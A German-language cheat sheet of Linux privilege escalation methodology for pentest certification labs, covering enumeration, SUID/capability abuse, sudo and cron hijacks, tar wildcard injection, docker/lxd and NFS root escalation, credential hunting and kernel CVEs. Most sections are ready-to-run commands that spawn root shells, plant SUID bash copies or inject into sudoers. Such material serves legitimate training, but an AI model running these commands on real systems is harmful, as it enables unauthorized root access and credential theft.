Methodik-Sammlung für Local Privilege Escalation auf Linux-Hosts — orientiert an OSCP / PNPT / PenTest+ Lab-Kontexten.
Recon → Enumeration → Hypothesis → Validation → Escalation → Cleanup
Tooling (LinPEAS, LSE) bestätigt nur, was Methodik findet. Erst verstehen, was der Host ist — dann gezielt eskalieren.
hostname
uname -a
uname -r
cat /etc/os-release
cat /etc/issue
archWorauf achten:
- Kernel-Version (Abgleich mit DirtyPipe / DirtyCow / OverlayFS-CVE)
- Distribution (Ubuntu / Debian / RHEL / Alpine — beeinflusst Pfade)
- Architektur (x86_64 / ARM für Kompilierung)
id
whoami
groups
sudo -l
last
w
whoWichtig:
- Bin ich in einer privilegierten Gruppe? (
docker,lxd,disk,wheel,video,adm) - Welche Sudo-Rechte habe ich (
sudo -l) — mit oder ohne Passwort? - Welche User sind aktiv eingeloggt?
ip a
ip route
ss -tulpen
netstat -tulpn 2>/dev/null
ps auxf
ps -ef --forestWorauf achten:
- Localhost-only-Services (oft schwächer abgesichert) — Port-Forward-Kandidaten
- Ungewöhnliche Prozesse / Cron-Tasks (
pspy) - Container-Indikatoren (
/.dockerenv,cat /proc/1/cgroup)
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/nullGegen GTFOBins abgleichen. Klassiker:
| Binary | SUID → Root via |
|---|---|
find |
find . -exec /bin/sh -p \; -quit |
vim |
:set shell=/bin/sh, :!sh |
nmap |
(alte Versionen) --interactive |
bash |
bash -p |
cp / mv |
/etc/passwd-Manipulation |
tar |
Checkpoint-Action |
awk |
awk 'BEGIN {system("/bin/sh -p")}' |
python * |
os.execl("/bin/sh", "sh", "-p") |
* nur wenn als SUID gesetzt — selten, aber möglich.
getcap -r / 2>/dev/nullHochinteressante Capabilities:
| Capability | Vector |
|---|---|
cap_setuid+ep |
UID-Switch (Python: os.setuid(0)) |
cap_dac_read_search+ep |
Lese-Bypass auf alle Dateien |
cap_dac_override+ep |
Lese-/Schreib-Bypass |
cap_sys_admin |
praktisch Root |
cap_chown+ep |
Ownership-Manipulation |
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'find / -perm -2000 -type f 2>/dev/nullGleiche GTFOBins-Logik mit Group-Privilegien.
sudo -l
sudo -V| Symptom | Eskalation |
|---|---|
(ALL) NOPASSWD: ALL |
sudo su - |
(ALL) NOPASSWD: /usr/bin/<binary> |
GTFOBins-Lookup |
Wildcard im Pfad (/usr/bin/find *) |
Argument-Injection |
env_keep+=LD_PRELOAD |
LD_PRELOAD-Hijack |
env_keep+=LD_LIBRARY_PATH |
Library-Hijack |
env_keep+=PYTHONPATH |
Python-Module-Hijack |
Heap-Overflow in sudoedit. Auf älteren Sudo-Versionen (< 1.9.5p2) kritisch.
sudo -V | head -1Wenn User sudoedit für eine spezifische Datei darf, aber EDITOR / VISUAL / SUDO_EDITOR
mehrere Dateien akzeptieren:
EDITOR='vim -- /etc/sudoers' sudoedit /allowed/filels -la /etc/cron.*/
cat /etc/crontab
cat /var/spool/cron/crontabs/* 2>/dev/null
crontab -l./pspy64 -pf -i 1000pspy zeigt Prozesse aller User ohne Root — Goldstandard für Cron-Discovery.
- Beschreibbare Cron-Skripte → Code als Cron-User
- PATH-Hijacking wenn Cron-Script relative Befehle nutzt
- Wildcard-Abuse in
tar/chown/rsync-Cron-Befehlen - World-writable Verzeichnisse in cron-genutzten Pfaden
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /writable/cron-script.shecho $PATH | tr ':' '\n'
for p in $(echo $PATH | tr ':' ' '); do test -w "$p" && echo "WRITABLE: $p"; doneWenn . oder ~ im PATH und ein Sudo-Befehl relative Aufrufe nutzt → Hijack-Vektor.
find / -writable -type f 2>/dev/null | grep -v proc
find / -writable ! -user $(whoami) 2>/dev/null
ls -l /etc/passwd /etc/shadow /etc/sudoers/etc/passwd weltschreibbar → eigenen Root-User mit mkpasswd einbauen.
Cron läuft tar -czf /backup/x.tar.gz /home/user/*:
cd /home/user
echo 'cp /bin/bash /tmp/b; chmod +s /tmp/b' > exploit.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh exploit.sh'Letzter Ausweg — können Hosts crashen.
uname -r
searchsploit linux kernel <version>| Kernel-Lücke | CVE | Range |
|---|---|---|
| DirtyPipe | CVE-2022-0847 | 5.8 – 5.16.x |
| DirtyCow | CVE-2016-5195 | < 4.8.3 |
| PwnKit (polkit) | CVE-2021-4034 | distro-abhängig |
| OverlayFS | CVE-2023-0386 | 5.11 – 6.2-rc |
Sequoia (size_t) |
CVE-2021-33909 | < 5.14 |
| Looney Tunables | CVE-2023-4911 | glibc 2.34+ |
ls /.dockerenv 2>/dev/null && echo "Docker"
cat /proc/1/cgroup
cat /proc/self/status | grep -i capmount | grep cgroup
ls /dev | grep -E '(sda|nvme)'
cat /proc/self/status | grep CapEffCapEff: 0000003fffffffff = "ich bin praktisch Root auf dem Host".
ls -l /var/run/docker.sockWenn beschreibbar:
docker run -v /:/mnt --rm -it alpine chroot /mnt shgroups | grep lxd
lxc image import alpine.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydev disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/shUser in docker-Gruppe = Root-Equivalent:
docker run -v /:/mnt --rm -it alpine chroot /mnt shgrep -RnsiE "password|passwd|secret|token|api[_-]key" /home /var/www /etc 2>/dev/null
find / -name "id_rsa" 2>/dev/null
find / -name "*.kdbx" 2>/dev/null
find / -name "*.pem" 2>/dev/null
find / -name ".env" 2>/dev/nullcat ~/.bash_history
cat ~/.zsh_history
cat ~/.ash_history
cat ~/.python_history
cat ~/.mysql_history
cat ~/.psql_historycat /etc/fstab
mount
cat /proc/mountsBackups, NFS-Shares, alte Disk-Images können Credentials enthalten.
find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite*" 2>/dev/nullServer exportiert /share mit no_root_squash. Lokal als Root mounten:
showmount -e <target>
sudo mount -t nfs <target>:/share /mnt/nfs
sudo cp /bin/bash /mnt/nfs/rootbash
sudo chown root:root /mnt/nfs/rootbash
sudo chmod +s /mnt/nfs/rootbashAuf dem Target dann /share/rootbash -p → Root.
./linpeas.sh
./lse.sh -l 2
./linux-exploit-suggester.sh
./pspy64 -pf -i 1000| Tool | Stärke |
|---|---|
| LinPEAS | breit, farbcodiert, beste All-in-One-Wahl |
| LSE | sehr detailliert, langsamer |
| linux-exploit-suggester | Kernel-CVE-Mapping |
| pspy | Prozess-Monitor ohne Root (Cron-Discovery) |
| BeRoot | leichtgewichtig, fokussiert |
Methodik vor Tooling. Wer LinPEAS-Output blind durcharbeitet, ohne zu wissen, was er sucht, verliert sich. Tools sind Bestätigung, nicht Ersatz.
- Reverse-Shells beendet
- Erstellte Files entfernt (
/tmp,/var/tmp,/dev/shm) - Modifizierte Dateien zurückgesetzt
- Bash-History bereinigt (kontextabhängig — bei Pentest dokumentieren statt löschen)
- Cron-Modifikationen rückgängig